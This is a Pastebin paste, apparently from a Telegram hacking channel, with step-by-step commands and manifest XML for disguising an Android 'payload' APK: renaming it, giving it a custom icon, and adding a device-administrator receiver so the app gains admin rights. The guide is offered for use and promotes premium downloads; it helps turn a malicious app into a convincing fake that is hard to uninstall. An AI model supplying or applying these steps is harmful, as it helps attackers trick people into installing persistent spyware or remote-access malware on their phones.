Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Changing icon, app name, add admin permission to the app
- ===========================================================
- Download files premium group ask t.me/efxtv
- https://t.me/c/1480784123/1/504
- ===========================================================
- #create directory
- mkdir res/xml (Paste device_admin.xml)
- mkdir res/drawable (paste icon)
- #Steps to change the app name
- ===========================================================
- $ mkdir res/xml (Paste device_admin.xml)
- $ mkdir res/drawable (paste icon)
- ===========================================================
- #Edit the app name
- nano /res/strings.xml
- ===========================================================
- <resources>
- <string name="app_name">ChangeYourAppNameHere</string>
- </resources>
- ===========================================================
- #steps to add app Icon
- $ cp /sdcard/Download/icon.png res/drawable
- nano payload-name/AndroidManifest.xml (press ctrl + w)
- search for app_name delete that line and paste the custom script
- ===========================================================
- <application android:label="@string/app_name" android:icon="@drawable/icon">
- ===========================================================
- #add admin permissions to the app
- $ copy device_admin.xml to res/xml
- $ cp device_admin.xml res/xml
- Search for </receiver> in AndroidManifest.xml
- $ nano payload-name/AndroidManifest.xml (press ctrl + w and search for </receiver>)
- ad a new line after </receiver> and paste the scrpt
- ===========================================================
- <receiver android:name="com.ChangeThePackageNameInTheFirstLineOFAndroidManifest" android:permission="android.permission.BIND_DEVICE_ADMIN">
- <meta-data android:name="android.app.device_admin" android:resource="@xml/device_admin" />
- <intent-filter>
- <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
- </intent-filter>
- </receiver>
- ===========================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement